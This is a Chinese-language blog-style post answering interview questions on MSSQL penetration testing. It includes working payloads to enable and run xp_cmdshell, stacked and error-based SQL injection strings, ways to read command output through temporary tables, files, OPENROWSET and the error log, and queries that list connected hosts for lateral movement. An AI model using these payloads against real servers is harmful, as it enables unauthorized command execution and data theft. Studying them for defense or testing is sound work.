这是上次被拷打(?)时的问题,很零碎的玩意:

1756796809488

# 1.xp_cmdshell 未开启,如何确认 xp_cmdshell 存在,如何开启 xp_cmdshell?

这个东西默认就是未开启的,存在于 SQL Server 数据库中,可以查询系统视图来确认是否存在:

select * from sys.dm_exev_extended_procedures where name="xp_cmdshell";
启动需要sysadmin权限:
sp_configure 'show advanced options',1;#启动高级选项
sp_configure 'xp_cmdshell', 1;#启用xp_cmdshell,如果是关闭就1改0
RECONFIGURE;

这么问感觉很奇怪,反正不存在自然开启不了,所以为什么要去确认是否存在?

使用:
EXEC xp_cmdshell 'dir';

这个函数是个存储过程,不是标量函数或者表值函数,不能被嵌入查询语句中,但结果可以插入表中:

CREATE TABLE #cmd_output (
    line NVARCHAR(4000)
);
INSERT INTO #cmd_output
EXEC xp_cmdshell 'whoami';
SELECT * FROM #cmd_output;
DROP TABLE #cmd_output;

结果:

1756800057491

# 2. 注入点支持堆叠注入,如何读取堆叠注入命令执行回显结果

可以写文件或者像是上面一样写到临时表中

写文件,然后读:

;EXEC xp_cmdshell 'whoami > C:\Windows\Temp\res.txt';
;SELECT * FROM OPENROWSET(BULK 'C:\Windows\Temp\res.txt', SINGLE_CLOB) AS t;

上述的 OPENROWSET 也需要打开:

EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;

如果是一个无法变更的查询:

-- 原查询无法修改,只能查message,但是我们要的数据在其他表中
SELECT * FROM messages WHERE id='
-- 堆叠注入:
1'; 
UPDATE messages --将protducts表的数据写到可查询的表中
SET content = (SELECT TOP 1 name FROM products WHERE id=2) 
WHERE id=123;
--查询原来的表:
123'

mssql 的错误日志可以写 select

DECLARE @result NVARCHAR(4000);
select 1,@result=name from products;
RAISERROR('查询结果: %s', 0, 1, @result) WITH LOG;
EXEC xp_readerrorlog 0, 1, '可选的关键字筛选';

# 3. 探测过程中发现另一处注入点支持报错注入,但在报错注入中却没有读出前面临时表的内容,如何排查原因?

需要说明:

上面使用的 #table 是局部临时表,在会话结束后本身就会被自动删除,并且无法跨会话访问。而使用全局临时表(##table)同样会话结束后删除,但是可以跨会话访问。所以要用其他注入点可以干脆使用普通表(table)

所以先确定是不是被自己坑了(?)

排查:

1' AND (SELECT 1/(SELECT COUNT(*) FROM your_table))=1 
--这样可以确认这个表是否存在以及是否存在字段,如果没有回显说明这个表存在
1' AND 1=CONVERT(int, (SELECT DB_NAME())) --+
--爆一爆数据库名,看是不是同一个数据库

1756805140777

# 4. 如何排查这台 DBServer 还为企业内哪些 WebServer 提供数据库业务?

查看数据库连接信息:

-- 查看当前连接的会话
SELECT session_id, host_name, program_name, login_name, status
FROM sys.dm_exec_sessions
WHERE is_user_process = 1;

离谱一点的直接用 xp_cmdshell 扫下整个内网 (?):